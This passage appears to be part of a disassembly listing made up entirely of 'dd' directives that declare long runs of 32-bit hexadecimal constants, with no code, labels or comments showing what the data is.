		dd 4AB3A2B8h, 2DD300CFh, 6D4F2958h, 0B8806258h,	0BD1B8B25h
		dd 9B80BA04h, 5A468B42h, 8DB9DFF4h, 929CBBC3h, 66CA266Dh
		dd 634C4886h, 90F01518h, 5E45FB7Bh, 0A90ECE6Fh,	38118A4Dh
		dd 0AAAE349h, 4708890Ch, 85FE17DFh, 673642A5h, 934E91E1h
		dd 1E3E06EFh, 69BA6CA0h, 310C8186h, 0D1230514h,	261F6019h
		dd 0FD4ACCFBh, 73904F03h, 0EEE0FE29h, 0B2BAA97Ch, 0AE716EB7h
		dd 17E32CD5h, 0B414BFCh, 5E6BFF6h, 51E7855Bh, 4ACBCDCh
		dd 4D6AAAB4h, 2541978Ch, 0BD7FC4F1h, 0EF6F5F5Ch, 9CADFC3Eh
		dd 6EEFAE7h, 2BBED0C0h,	6D60D140h, 486AEA87h, 8DAB584Dh
		dd 74C117E1h, 7661BD4Ah, 0D0F4E811h, 2387684Dh,	49495156h
		dd 143C4F4Fh, 0F6B7C00Fh, 0E805A27Bh, 230DA76Dh, 78227480h
		dd 9B083618h, 0EC45F946h, 0D7C2B1F5h, 7B56708h,	2C27D1FFh
		dd 8FBE6FB4h, 6B84C085h, 222BCD35h, 3E6B60D5h, 59313C85h
		dd 1D3D4964h, 9E67986Ah, 83021883h, 505F9616h, 4A0256C9h
		dd 6B963A45h, 0EF4BD400h, 0F6915ADDh, 4FAFFA6Ch, 0AE51E275h
		dd 1D00202Dh, 7DACEA93h, 953673B4h, 0A23BC8F0h,	7FF7D36h
		dd 5C6E4636h, 37EEFCC8h, 0E4F9C0A1h, 1E67517Bh,	56965CCh
		dd 943154F3h, 0B299412Fh, 45229B0Dh, 0FBA53038h, 0B7BBFB53h
		dd 2F37E1FEh, 0EFA8E855h, 0E3D68C31h, 7EAF268Ah, 0A63296h
		dd 2EF2D37h, 0F39BB900h, 5423B290h, 58183007h, 0E70AC059h
		dd 0BD4C863Ah, 0C6638D56h, 8394EC52h, 77640012h, 0ACA12C19h
		dd 0D0C5C14Ah, 7A0B107Eh, 83AE4E16h, 9D634B59h,	0BC7E0D22h
		dd 0B343132Eh, 0B8B907A6h, 0ADE896E0h, 0A7BC091Eh, 8818EFBBh
		dd 22AE57A9h, 8A447CD2h, 0C32B8444h, 9E5032E1h,	0EF7BAC5Bh
		dd 0B295112Dh, 5F7F636Dh, 0B1A3DF88h, 26CB7A47h, 0A4BAE3h
		dd 37A6987Fh, 978CE222h, 0CF0EDDE0h, 1BDCED98h,	0F2CA3537h
		dd 9BB1C2A5h, 0F40CC436h, 5B61536Dh, 2B6BCF24h,	704BDEBFh
		dd 14CBAB20h, 0A207A34Ah, 0D7E8F89Eh, 0AD1C1029h, 67A03E23h
		dd 3687D742h, 5FB9E23Ah, 8A2A8096h, 738B1B47h, 7FA0D2DAh
		dd 383E3778h, 2B2D8C89h, 0C11800EBh, 839E6E57h,	70B38F23h
		dd 0D75BC65Ah, 9498636Bh, 17591B88h, 2DA1557h, 3BF69BD8h
		dd 17DE804Ch, 51CF3A5Fh, 0C8CC197Eh, 55B274E4h,	118DDCF3h
		dd 36C10C37h, 2BC8DFEEh, 81BF10ADh, 0A9787B68h,	6CC5CABh
		dd 810131C6h, 0A45BD24Dh, 5AC104EBh, 96AF8346h,	0CF86C503h
		dd 63369866h, 0ABCFEE0Bh, 27B98A94h, 80CE7072h,	7ED6C345h
		dd 0D8B625E6h, 0A5C7E5B5h, 5F605140h, 0FDF74A83h, 35923F25h
		dd 60126865h, 42061506h, 41D4C2A1h, 89929226h, 39D74402h
		dd 48001112h, 7ED9B08Dh, 65DB483Eh, 9097F2DDh, 0A3083AD3h
		dd 59B45272h, 1769A535h, 0CF4F23F4h, 937AE87Eh,	27FDBD93h
		dd 68EA1857h, 8A97E625h, 67D943CBh, 0C3638E82h,	70263AC3h
		dd 0F7B33B76h, 0B624BB90h, 8DA9CA31h, 0C3DFCFDBh, 7FD4A8ADh
		dd 53D1F4A8h, 0AF0CB75Eh, 0E4F3F390h, 0BE220E9Eh, 1ADD702Fh
		dd 0DB63397Dh, 3F740CEAh, 58C2E4D6h, 87A8DBA0h,	18A61903h
		dd 0F428DCB6h, 34AC7003h, 350644F9h, 2B8E4801h,	893FA82Ch
		dd 35CB2003h, 7CA71C65h, 6B301590h, 0EF63A837h,	0F800541Ah
		dd 0B92433F8h, 0CA44045Ah, 4BF75743h, 0A476B4B7h, 8F547765h
		dd 54E5FACh, 0C152B054h, 53B6E770h, 4A901E43h, 0E8BE992Ch
		dd 0EA6E3E39h, 58512947h, 186A619Dh, 499F3E21h,	0DEF87B27h
		dd 143B246Eh, 22F2BD4Fh, 0DAB9424Ah, 8C6327ADh,	3DC3559Ch
		dd 365C9020h, 75977FF8h, 19A986A9h, 6CB90337h, 3B478DE1h
		dd 2110F37h, 0A8E9C51Dh, 995CD35Fh, 0E753A2BFh,	0AD6826CDh
		dd 7147814Ch, 0CC122DA0h, 30BD685Fh, 48BEAD8Ch,	82D13A1Ch
		dd 330E230Dh, 2A27C521h, 19687488h, 0E017A4EBh,	977C159Ch
		dd 0B57E30E2h, 4E61972Dh, 0BBBD4BA9h, 745AA38Eh, 0C23342EFh
		dd 8F57EAA5h, 0D65224F6h, 0D5C81ABDh, 757F5945h, 5D5912ABh
		dd 0C8BFF56Ch, 4E525F0h, 355CC6BCh, 782C7AEBh, 25148D3Fh
		dd 9A15746Bh, 0B9F0DB35h, 3D4ED541h, 2910050h, 821AE345h
		dd 17275FE6h, 3B3E8253h, 413CAA99h, 6CD5B994h, 83E0C113h
		dd 0F4743C9Ah, 7820AC1Ah, 81A462EFh, 870ED5AEh,	66580E5h
		dd 369B6034h, 4086E535h, 9DDF05FBh, 0AEB62E94h,	59AABDEAh
		dd 0BA41967Bh, 70B67849h, 15549EDAh, 0F9907214h, 6CF79444h
		dd 1593E5C3h, 908ED5CCh, 68E23D5Fh, 0DC7DCF68h,	0AA21A957h
		dd 5CDC1779h, 1295E204h, 0D660342Dh, 0DC37D474h, 13D1488Ah
		dd 0E8A9988Eh, 49939A31h, 0A22E4E40h, 0A099E060h, 89A66008h
		dd 17EC1FCFh, 66818FB3h, 11842620h, 0F89E97AFh,	71CFB1DDh
		dd 31CF0EA6h, 78F63597h, 0D667C68Ch, 5DF03635h,	0E314B620h
		dd 46EDE087h, 983791C4h
		dd 7D4FB07Bh, 892DADh, 70F11F47h, 0B27F88D3h, 2C11AF1h
		dd 47B78849h, 0DD7B0C83h, 750803Fh, 17EFEA5Fh, 0E2E924C8h
		dd 27EC2D31h, 1622247Ch, 13EEC40Fh, 19D9F591h, 0A40CDE4Fh
		dd 101208FEh, 5B4E0BF3h, 7655CD1Ah, 0D5033A2Ch,	6CFC686Fh
		dd 5FC506EEh, 33786C5Dh, 0F3BA65B7h, 0E0E0E12Ah, 667A9F72h
		dd 5AA70DCEh, 606EEEFh,	0A5A491AFh, 0C172844Eh,	5FA3CB47h
		dd 0C8E771F8h, 6B42DD40h, 0A416DEA8h, 66BDA212h, 14EA4C48h
		dd 0BAC9ABECh, 7F8F480Ah, 0D73B964Eh, 0E5EE1F66h, 0E9CE20BEh
		dd 0FC22DB1Fh, 0EB5860B6h, 848D6181h, 0F0F7421Fh, 289990DDh
		dd 41764CA4h, 0BACA8AECh, 0DD65E35Ch, 0BF6409BAh, 6A67CBB1h
		dd 7B8882CDh, 5E28AFDAh, 6DDB7C68h, 0D1776A89h,	27F78474h
		dd 8BD325B6h, 0BAFF3C32h, 0C4BC1A0Eh, 0DB135CDEh, 0DD621910h
		dd 499703A0h, 7FED653h,	5B8AFBB7h, 16546E31h, 0F4CE7DFCh
		dd 94A50F0h, 32D59711h,	0C2F11EC4h, 0F9872EA4h,	2D6D4BADh
		dd 8AFA4F75h, 6BBE8FB5h, 343057Eh, 7623AC22h, 3B668452h
		dd 2DB85887h, 5EC348D2h, 0FF66EE99h, 69EE7915h,	0A3CB0DB9h
		dd 73985810h, 44053B6Ah, 0A4707C06h, 0AA28759Bh, 9DBF4A7Bh
		dd 0AFF7B619h, 0FEB24C32h, 0E24CD82Bh, 1B92C0DBh, 20EA8D14h
		dd 8A7A0347h, 0D667D1EAh, 0FCA18C13h, 12DAEA2Eh, 4487C34Dh
		dd 316FB77Ch, 46F97E0h,	57EAA3FDh, 0F988EDD1h, 7B6E3A54h
		dd 6E9201B3h, 5C8E01C5h, 414972Ch, 0FE15985Eh, 28129C22h
		dd 0F63F6125h, 64B1C0DEh, 97213DBh, 13F370CEh, 99059BD6h
		dd 72784538h, 77EBFCAFh, 8F2975E4h, 22AE0519h, 76CBB5Ah
		dd 68C33577h, 0DDF666AAh, 1650971h, 0AD2136D3h,	39DE9576h
		dd 32C3DCEh, 4C258A1Bh,	6DD1F095h, 8F639732h, 723AB5DAh
		dd 14DB8FDh, 0CAE3B0B5h, 38D082E2h, 0D2A5AFF6h,	95FFE1C5h
		dd 41DC1D81h, 0A8A51270h, 6A16A1D3h, 557E8B1Fh,	7140E0B7h
		dd 5180BF9Ah, 0DC55F006h, 944F9E64h, 0A2AADDBAh, 3C8958D5h
		dd 22FCAAFFh, 11B84070h, 5CB192C0h, 55504C74h, 13090F0h
		dd 0D085A997h, 0B5B9D890h, 41E2B5D2h, 8082FFBFh, 7E5E2E8Eh
		dd 775F5E1Dh, 89E0DE45h, 78F75C15h, 0C4BB7AE0h,	0EA9E1160h
		dd 0B52C1F13h, 95D70E7h, 0EBD103Fh, 0DE25B213h,	9E6D9C8Ch
		dd 49F4735Ch, 698A9340h, 34FC6F41h, 87A9E1D3h, 7D05B689h
		dd 0F5437C43h, 0EE858D7Dh, 0D8339493h, 0CABCC6BBh, 15CA24h
		dd 0E25AC148h, 621B70B7h, 0D773A22Ch, 645BC247h, 5031C624h
		dd 0C5C6B35Dh, 18C1DC03h, 4D48EF81h, 81BAFA69h,	0DC5766EBh
		dd 0B6FD53C8h, 3259F5A6h, 0AC7CB06Bh, 4B1475FFh, 0F781291Ch
		dd 0CEB2BF7Bh, 0B160CA45h, 0AF74E608h, 19C290AEh, 0A2D4C920h
		dd 11BC04EEh, 0E4F986Ch, 0B7EB06CEh, 801BDF64h,	3257B57Eh
		dd 0A4395CC5h, 131B3525h, 569E1B0Eh, 43BD004Bh,	444A5B43h
		dd 0D4F11112h, 28CF17C3h, 0A86609D6h, 797CDC93h, 2FB31852h
		dd 88620A88h, 8E2183A9h, 4F05E38Eh, 3DDDC90Eh, 299396E7h
		dd 8BED578Ch, 3CDD456Ah, 7FD4D99Eh, 4FB398D0h, 7FBA6684h
		dd 0EA24DC54h, 8BBB9B1Ah, 0F8C826Ah, 278C39E6h,	74ADE06Ah
		dd 0ACDAECF5h, 0BB954C86h, 0CBDB3D50h, 0AFFFCFDAh, 49888D40h
		dd 0BE867FE4h, 555D3343h, 0D1CDDDBh, 0A436336h,	0ED83F6A5h
		dd 0BCEB9A67h, 949E1BF6h, 73ED6E1Ch, 277C929Bh,	0EB618A07h
		dd 3F29F0ACh, 20B44C44h, 0B6CDDABh, 14B6C80Ah, 56FFAB01h
		dd 29C723D7h, 0DC4AF5E8h, 0FAF5BED1h, 0FDEAEDDCh, 82082A61h
		dd 0F6372F79h, 25811203h, 0E8837BE1h, 8F9BFFB0h, 72C0284h
		dd 0B9FE52C1h, 95277181h, 0D694479Ch, 0D506694Eh, 7224A855h
		dd 0FF8097F5h, 0C051C34Fh, 1482B350h, 0D0FC22C7h, 0F79B8E38h
		dd 5A5F6B24h, 6020E3C2h, 813A6BD7h, 0F1CD8A5Dh,	142D57A8h
		dd 8EAEB6E9h, 0AD68F03Dh, 0AF1EDBD4h, 31103EB1h, 696D0E82h
		dd 0DCC90D15h, 0F123DB4Fh, 0C039C5C6h, 6C331DBh, 163C68EBh
		dd 0CCC8B4D1h, 0FC0C6296h, 0A344F849h, 0A54CC681h, 13F075CCh
		dd 3B4A3571h, 776A8A89h, 0B07E8E28h, 0E5CDE5Dh,	0B8F39EC3h
		dd 3F402BD6h, 3E3D6349h, 0A72ABD86h, 0E38D07BBh, 81F7B59Bh
		dd 29BEFFC7h, 81A97C9Ah, 635D61A1h, 356F666Ah, 0FB447CC9h
		dd 0ACA9136Dh, 8E695344h, 97C31FCh, 0DEA24B78h,	0EB228E25h
		dd 0F06726F3h, 0BD6E6B9Ch, 0F17D81Bh, 80D74336h, 0C458377Ch
		dd 0B941E476h, 6979EB88h, 791F8864h, 0BD8BD648h, 6F23D0ACh
		dd 70ABE936h, 0E17583A1h, 4FB48725h, 0D6AD3504h, 0D5FE98D5h
		dd 0F213B97h, 4AB7D820h, 0EB1BB22Dh, 98FAECE3h,	4B752D5Ah
		dd 0CC7BAEF7h, 2A9B6EC5h, 68BF4536h, 86FCF658h,	28688B82h
		dd 0D78314B4h, 0B9B6BF11h, 0D4183A9Fh, 9A10FBA9h, 0DCE9A2C6h
		dd 0FB3BF7FCh, 0FAACF070h, 941EAC8Fh, 3A36B9B8h, 0B0DF6705h
		dd 0CCB6D8E8h, 2DF8E988h, 0FE4FFEBBh, 0C427A5BAh, 0C21D01AEh
		dd 4F38C43Ch, 0C7352521h, 88B11856h, 53F549BCh,	70C51B0Fh
		dd 0D5DCBF74h, 0FA1236F6h, 88892BAEh, 5DAE0F8Fh, 28D99A5Eh
		dd 0C9551EB7h, 67DFFA44h, 4FE4AC2Eh, 88A6D358h,	0DE92B435h
		dd 7BF76EFBh, 1F712B23h, 498DF107h, 0B1D4CE59h,	4EB316DDh
		dd 65EA8A94h, 0FA9D7E14h, 0CD531622h, 3E5E5AF9h, 0CA966486h
		dd 0B9BFAC06h, 49D4A15Ch, 9959C720h, 14A8ABF4h,	0A1ED9AEEh
		dd 800DE606h, 0A09C0841h, 12864CACh, 0BE2229C4h, 685BE0F5h
		dd 882C0080h, 0E7E60B9Ah, 7567692Dh, 1CABED4Ah,	8D3BB2CDh
		dd 5242DEA5h, 579C2856h, 10338CD7h, 6F74CEBDh, 67BFAF4h
		dd 80313158h, 0F33F4084h, 5A59A300h, 29F71BA1h,	9B662969h
		dd 0F03797E1h, 0DBE589D9h, 815CE78Fh, 0B31CBA98h, 1B736804h
		dd 3E049148h, 0A755877Eh, 0E1C76B0Bh, 0BFCF9467h, 8C319503h
		dd 3B2E0BE8h, 0F01F6E4Bh, 5A3A00C7h, 348E0D7Dh,	50BD2A9Ah
		dd 0F622B83Ch, 1018F10Ch, 7510058h, 302CF968h, 0BD770B4Bh
		dd 0F909C535h, 0B478BD1Bh, 53B9A033h, 0ABC09A1h, 0F195C536h
		dd 750766C3h, 0FFE01540h, 0FA3F25CFh, 97C54AC8h, 7A52B377h
		dd 0B81F8270h, 89C68918h, 0B26F69BDh, 425EAF83h, 0FC83A6D4h
		dd 9CD917D0h, 7A30303Bh, 0BE18B902h, 0CB96D4F4h, 0A3C13F3Fh
		dd 0DA37ABACh, 83B1EE45h, 0E592795h, 7C3FBF4Bh,	83C88A9Dh
		dd 57E03775h, 20B2103Bh, 0EFA4C179h, 8B9BA7B6h,	0C8232E40h
		dd 0F23A46FEh, 41A71E8h, 0A7362DDDh, 467F9517h,	0A41CF9ABh
		dd 0F79A1600h, 1AB903A0h, 0A50F427Bh, 57493D81h, 8B92DC29h
		dd 3DE80A11h, 0CC6BF427h, 0FB9507A8h, 0BF9661D5h, 0BE9D0DD0h
		dd 95E4C7E8h, 5DB5309Fh, 0FA5E64E5h, 58BC157Ch,	7E0A32E2h
		dd 0AF05DE49h, 9F2A9CD7h, 973258FDh, 3C71D85h, 0F4590001h
		dd 0F883F4ACh, 0DF979074h, 51CB16D4h, 0AF98CAFDh, 1DAAEDDCh
		dd 0E6559FBEh, 1F6B082Eh, 2EE4DA58h, 5C0B5268h,	8695DB4Fh
		dd 0BE072167h, 8848645Bh, 5DF874BAh, 0FE76BEA8h, 2C8ECDC3h
		dd 0B5BA152Dh, 41EA2158h, 0F77585D8h, 0FEC30F7h, 12B3AAAAh
		dd 6ADC3FA3h, 3E25D094h, 0C88DD745h, 39712981h,	6285DE9Ch
		dd 68494E11h, 0A6C29892h, 13005BF3h, 1D6EB51Eh,	2CFA06A1h
		dd 94A5FE4Eh, 7C3E11EEh, 0D105FFB2h, 367FE141h,	716E4F47h
		dd 850574C3h, 1F98988Eh, 22E6086Bh, 1FA922DAh, 0F156A85Bh
		dd 52C6940Ch, 2E50DB1h,	683F4543h, 472583D9h, 1BB2EAE6h
		dd 3A561785h, 0F3B192ABh
		dd 6219E9FCh, 7C796A93h, 85B9F25Ah, 0A5D87A8Eh,	71EAE95Bh
		dd 4E850500h, 7EA2D289h, 0DAD02D3Dh, 5D645CEFh,	1C90073Dh
		dd 0C86519DAh, 0C0CA459Fh, 0ADDFB442h, 284AC0Ch, 0FB8FE15Ch
		dd 1E7C1348h, 0E0646016h, 63DB4834h, 785B0311h,	1B948AA8h
		dd 85DBD756h, 7CE897B7h, 8970CD00h, 47ABD74Ah, 0FE0C32E0h
		dd 54037C53h, 9076117Eh, 35353ED6h, 1A26B0E7h, 44DFAA31h
		dd 37AE9378h, 0A1A1CA51h, 3DC24AD0h, 0FF923520h, 2F9E35C9h
		dd 0E127A576h, 0C970D37Dh, 0EE2242D7h, 53A69AAFh, 65A4E655h
		dd 6C379913h, 0E12A8729h, 2D28A16Ah, 49D57B7h, 286966DFh
		dd 6550B6Ch, 11851233h,	7ACF208Eh, 0EC4FBFAFh, 60C9A668h
		dd 0E70AB3Bh, 857A3AF9h, 0DF65CB65h, 5E50F3Ch, 0A8980335h
		dd 759F1FDFh, 49B80CD9h, 0B7B7DBB8h, 45FE8BDAh,	0C3E1658Dh
		dd 70040C3Bh, 575988B3h, 8824E080h, 5A6F9797h, 9E5E0D23h
		dd 6DF8B0B0h, 94A104C8h, 0BB876AF6h, 5CFB548Dh,	0E4E81DD3h
		dd 19B96C3Fh, 1CBCF85Ah, 94D9D9CCh, 0B93E4C67h,	88BF24C6h
		dd 7DA2A879h, 7FA57236h, 65937D33h, 27B48600h, 1A0A7F63h
		dd 0C6B8BE8Dh, 9B346471h, 0FE10967h, 87AB37F0h,	0B08D619Fh
		dd 113463CAh, 9017E657h, 0B6BEE4ECh, 0C8923987h, 9AD6E2E7h
		dd 915A1A0Bh, 0D5D12089h, 6F78AABAh, 0D5C5EC5Eh, 0E11127EAh
		dd 8245313Bh, 0C1FB3311h, 0D6167BE7h, 9773F476h, 6A57B517h
		dd 0E79D462Ch, 177CE8DCh, 0BE2AB811h, 6C65B03Ah, 78287A5Bh
		dd 8B4B89A5h, 27F1E23h,	0C446A35Eh, 0E84AB94h, 93CA5AB8h
		dd 2D085854h, 0A6CE2131h, 8CA15B77h, 49DE4E29h,	9738D754h
		dd 0B400C2ABh, 98D8BAE7h, 502844A5h, 0B76B388Ah, 7F7E7F02h
		dd 0EB5655F9h, 988B52AFh, 955900A2h, 1F3B1992h,	0B8F3741h
		dd 0BDCAAEE3h, 0CEBE585Dh, 1302565Eh, 0B5B9A948h, 743B69B5h
		dd 6F5D8CE3h, 0A6C83049h, 5B109E7Ah, 0E1C9B994h, 0FFF0E8B0h
		dd 53DE364Fh, 2D2FD65Ah, 0B4FCE31Bh, 0FE04A2C8h, 3923F792h
		dd 3CF40F66h, 610AE09Fh, 95315A03h, 9923D732h, 2D9AD955h
		dd 903F7DBFh, 0BA67F06h, 8795EB0Ch, 342A1115h, 34EE0843h
		dd 60163D75h, 3F2BAD9h,	8DCD13B2h, 0FE208335h, 3174AA0Dh
		dd 0FD833ECAh, 0EBD9FB51h, 0CA369DCAh, 0ED257CCAh, 0C31E9D21h
		dd 16EE9029h, 5F7BAC8Bh, 0FFA7D01Bh, 79169C19h,	52C0CA4Fh
		dd 0B81BB116h, 2FD77259h, 11A54AAh, 147B40C3h, 2A204B40h
		dd 2B72089Dh, 0BB44E6B2h, 0EF9F4E4Fh, 0AF72CDA9h, 4626216Ch
		dd 0A1F493F0h, 3B8D6225h, 0EE7AFA3Fh, 7BE0677Fh, 1BF56675h
		dd 5098697h, 68BA2B2Eh,	901EF19Dh, 0E187B00Ch, 0D7C1D76Bh
		dd 0B6115506h, 0E2AAF562h, 75DB8818h, 0DEF87EF5h, 0F3FB0F9Bh
		dd 146FFEAFh, 0CF0A18B2h, 6DCBCAD3h, 336FBB94h,	523BB34h
		dd 7E875523h, 0EF1C95C3h, 7E579178h, 0A978FB6Bh, 0FEB4DAEEh
		dd 56DCEA00h, 0BACA2898h, 4722DE75h, 43690C6Bh,	831482E7h
		dd 0E64F3B89h, 0C408033Ah, 531C313Fh, 17CCCECAh, 0D33003B2h
		dd 322FDCB3h, 885087E9h, 157415A0h, 360BC443h, 9D4CF6B3h
		dd 58146467h, 0CA0E70B5h, 0BDBE3395h, 85460D65h, 2E784558h
		dd 0EAA401FAh, 40673F53h, 7D074587h, 215D5904h,	3304246Dh
		dd 0AFA03F4Eh, 75BD417Ah, 0DA37FFFDh, 6565CDC1h, 31A2B23Fh
		dd 745BFE49h, 53A9D118h, 0D4E723E4h, 0BC08B7AFh, 79F3582Bh
		dd 0CBCDEDCAh, 513EF88Ah, 0CD4F6BA5h, 0B32716AAh, 5E9F9BE0h
		dd 8FE3F7Fh, 9662EDBAh,	725DFB00h, 496D7BD7h, 1EF5866Eh
		dd 0ED8D88A2h, 0A7867C9Eh, 0D52F806Fh, 0D8ABFCC7h, 0ECA6756Bh
		dd 0C2877624h, 0B73A4F1Dh, 0F3B8763Ah, 5C1B3F58h, 4AA134B7h
		dd 4B63BCBh, 972F8766h,	9001890Ch, 7FAE708Dh, 940F53AFh
		dd 0F84FD1D0h, 5CEA1AD3h, 46D2A1F0h, 98610B44h,	0A07C2F33h
		dd 9549CA72h, 5C26F855h, 69F3B8h, 4188AD52h, 63D5376Bh
		dd 0CAEF460h, 1854D27h,	0F3C309C0h, 0BEC4C19Bh,	395E0757h
		dd 4329D452h, 0D82B9AF4h, 7021AB8Bh, 85E1F0DDh,	0E8BF0474h
		dd 8C070C4Bh, 87F28EC3h, 71908042h, 4A94BE6Ah, 2F54341h
		dd 47325EA9h, 6805F71Ah, 0F42ACE77h, 3B13958h, 4C7EA103h
		dd 55F063EFh, 2F678832h, 0C4CBA864h, 58EABAFCh,	230847DCh
		dd 8ED9E672h, 92E15F95h, 0A30C589Eh, 739AD1D1h,	0D34C9618h
		dd 0CBD19BFCh, 91977705h, 214E873Eh, 6F782777h,	78B2A162h
		dd 41DEF089h, 6EB75D9Ch, 0C50BD3B8h, 0ACB00B2Bh, 9D697554h
		dd 0EB71B0E8h, 0B97DCB06h, 8E89861Dh, 62C82FBh,	0CC0A8088h
		dd 5D224748h, 0A2625714h, 4E724793h, 890825C1h,	56FC5AC2h
		dd 0CCF6BBB6h, 0E0592C07h, 4ED17940h, 0EE0EC194h, 0D661639Ah
		dd 0C5189700h, 0F83BBCECh, 0DDB2C219h, 8CD1209Ah, 4DCD7D8Dh
		dd 4924A3CBh, 674ED5FCh, 0F19E5301h, 7FE6172h, 6CF6CBBAh
		dd 0AB664828h, 83F75BC9h, 0CD693C14h, 0CD8EDA3Ch, 0D29BF8E6h
		dd 2F26BAABh, 15AFD502h, 1DB24927h, 8CB9AE90h, 67C38515h
		dd 152303Ah, 863F1A37h,	71CFF30Ch, 0A1719B93h, 0E58B0CDEh
		dd 0BB2995A4h, 0B6D7494h, 1F04FC52h, 9315BAF3h,	0AE34654Eh
		dd 0E05CEF80h, 0C190B509h, 200C7F1Eh, 0DD26674Ah, 0A0C8AA9Dh
		dd 782C4057h, 6FE6DE0h,	0AD3AED23h, 9094FA27h, 32B98D99h
		dd 23BE0610h, 51FA4C3Fh, 7B8E9A83h, 79DFB5B9h, 0E827FAC2h
		dd 0BB699ABh, 0D49330Bh, 0B8D133FCh, 3C85E5A5h,	0C4A3B2D9h
		dd 0D84C5C1Dh, 65DD3E37h, 2771322Fh, 0C37FA8EEh, 0ACC3019Dh
		dd 2ECFFF4Eh, 0CF6BF9Ah, 572A6503h, 485E6FB1h, 8EDD5731h
		dd 8D182F53h, 0CEC49B98h, 0BC582BF2h, 1D696190h, 2B9BA13Ch
		dd 554D2637h, 5792E265h, 22BE56CDh, 42BDB661h, 0C1171D06h
		dd 1A7B7A24h, 5428DF10h, 0C80E2DBh, 614361Bh, 6D4D6DC0h
		dd 6D98CE3h, 7247B320h,	0F63723ACh, 2CB56114h, 0F0273981h
		dd 0F4676098h, 5C47007Bh, 0CA5BA6BFh, 1B164179h, 7E0B5B17h
		dd 0E83C7304h, 0A076770Ah, 0CD5F36D2h, 3F6F974Fh, 0EA879804h
		dd 448A1DDh, 70C1A321h,	1B1240BCh, 0AAC1AFE2h, 4400E281h
		dd 471D546Bh, 7CA15905h, 0E32085FCh, 94310401h,	179C5D2h
		dd 6051EA50h, 0F7D91429h, 0E8472D7Fh, 0BD77EC8Ah, 0DA15B3A0h
		dd 4AFB07D8h, 4C0C6102h, 5E795ACh, 0A407C334h, 0B3ECFDA5h
		dd 6C4154ACh, 0BE873FF1h, 984B63F9h, 0DDCD0A90h, 9A5CE1B1h
		dd 0AF5895DCh, 1DD37A29h, 2633B739h, 86308BD8h,	2451CD5Fh
		dd 38D81FBBh, 0F64241Ah, 9DE0D81Ch, 644CF757h, 0E03B1DA1h
		dd 20FEA66Fh, 0DA86307Ch, 2128605Ch, 0A50BDB4Bh, 0C6965F14h
		dd 0CB8E5A15h, 956FE373h, 0A7782334h, 4BFAC876h, 38970F16h
		dd 0F6312FF3h, 0AC259683h, 0DE636520h, 0A6644ACFh, 13003213h
		dd 0CC75C9CFh, 0C24C20D4h, 5428A929h, 0CEC7B9Bh, 0D99F1A4Dh
		dd 0F2165C58h, 0FA1DE220h, 7D7041D3h, 448D83BDh, 0E87C395Ch
		dd 41CEC7FCh, 8731C646h, 0B40BC28Ch, 7A7844h, 826DC648h
		dd 0F8D1608Ah, 0D6B425DDh, 2B0CDE92h, 42D604BDh, 84F43E07h
		dd 3D9EF306h, 6B26938Bh, 58267CC9h, 2BD4E1C0h, 0CDE96931h
		dd 4CBFD2B4h, 0FE9D1C7h, 3506EAB9h, 0CAB3E8EDh,	68F76E42h
		dd 63EB09A3h, 0D723E77Fh, 0EFEAF726h, 0EDB8EB99h, 82AA2E55h
		dd 0A4BF9D1Fh, 0A17B229Dh, 0FBCAAA9Dh, 0D7EF66BDh, 3B1ABD26h
		dd 60A2E3EBh, 3A0D1131h, 1F98479Bh, 10ED50C8h, 0FEED0AB0h
		dd 939E1EBFh, 558CA6A8h
		dd 1E388085h, 4B3AD91Dh, 5C1AE9BFh, 0FB27BB04h,	337B91F8h
		dd 732F5164h, 708A0B40h, 0AD3EBE1Bh, 0C3BF5343h, 0C459B1F6h
		dd 0FBCDF006h, 90407ED0h, 35FDFED2h, 93F3F59Ch,	4CB84957h
		dd 0AFB1651Ah, 8E96D6EDh, 62DF7164h, 5ACC599Ch,	0BCEC39B9h
		dd 0DBCFFE02h, 0E19A2564h, 0F82D485Eh, 0C9D798E5h, 254A554Dh
		dd 0A6DBBE62h, 0FC4C6362h, 0D100E1Fh, 4CBA2660h, 1633BB76h
		dd 0CC8C9705h, 89EFF310h, 655F13DAh, 3AA46AADh,	0D7E7E1BDh
		dd 7AF598BBh, 0A73BABF4h, 2B016689h, 424CB070h,	2776AF28h
		dd 0A724380Dh, 5151F125h, 0E8B80A82h, 0EEF1DAB2h, 132E5E56h
		dd 0D0F8BA83h, 1A5B7D52h, 98F7D7F7h, 1F96A41Eh,	81B6F219h
		dd 455B9CD9h, 0B3CC563Bh, 832054B6h, 9530537Fh,	0DA397D8Ah
		dd 9D074999h, 0AE7A40F0h, 0DF6BD163h, 24D172F6h, 1D19972Ah
		dd 0CC1E4ABBh, 0D6675712h, 30D756C2h, 0A95631C8h, 0CEA2EB88h
		dd 762A0166h, 9B57A761h, 2E3BC9C1h, 0F866AF2Ah,	14838D72h
		dd 0EA9496E0h, 0B91E17E2h, 1BEAFF71h, 0EBF35DEBh, 0FA13E85Ch
		dd 28BDC658h, 302D1912h, 7B335F98h, 8CD6BCB9h, 0DC087E1Ah
		dd 3A018C8Bh, 0B556810Eh, 63F1F676h, 384C0C62h,	6D7BD637h
		dd 87B46AF9h, 0DE9509EEh, 1FFBE71h, 2F75F17h, 2D960606h
		dd 5F7D968Dh, 55B8B9E1h, 0B35BBF0Ch, 422F311Dh,	6B71CEC5h
		dd 0D238BBD3h, 0FC8D8A01h, 0FE2C28A6h, 8EFE3BFAh, 0E65F2105h
		dd 0D6F2DB59h, 8EB5BE2Bh, 5FBD10A6h, 0C641112Fh, 3DD18435h
		dd 0EEE8FB77h, 0C422F98Ch, 15EF40C4h, 99EEAEA4h, 0FC81C96Ah
		dd 65AD5EF9h, 0E7FEDDB5h, 5903BFBCh, 43C6A8FDh,	5CDC128Ch
		dd 0BF578341h, 0A7F6AE86h, 697AA592h, 0D9459713h, 0F23D8561h
		dd 0C20A238Fh, 0E12E73C9h, 9751ED7Eh, 1F406AA8h, 8DE9434Dh
		dd 4A547378h, 1726DFBh,	0C323985Bh, 0FE2AD5AEh,	0D44A4FA5h
		dd 8514D55Ah, 7C5C5876h, 8231DE6Bh, 0AD429A90h,	0D1DB7CCh
		dd 0DC518750h, 0D11197F5h, 865126E0h, 4BD4ECD1h, 698FB2E8h
		dd 2DCC5143h, 0B2D1101Eh, 7C01DEBCh, 1E557551h,	0F82E5138h
		dd 66E2657Bh, 5D43475Ch, 4467CF26h, 67A26714h, 14A5AA39h
		dd 3515A18Eh, 308752D5h, 0A561A3EFh, 393EB7BEh,	8BEFAFCCh
		dd 88B2BACCh, 1C25F549h, 0B5977A1h, 0DBECA8DDh,	0A0C0FEB7h
		dd 0E116096h, 0F368D0E0h, 932A0CACh, 0F7F867A8h, 70445C8Dh
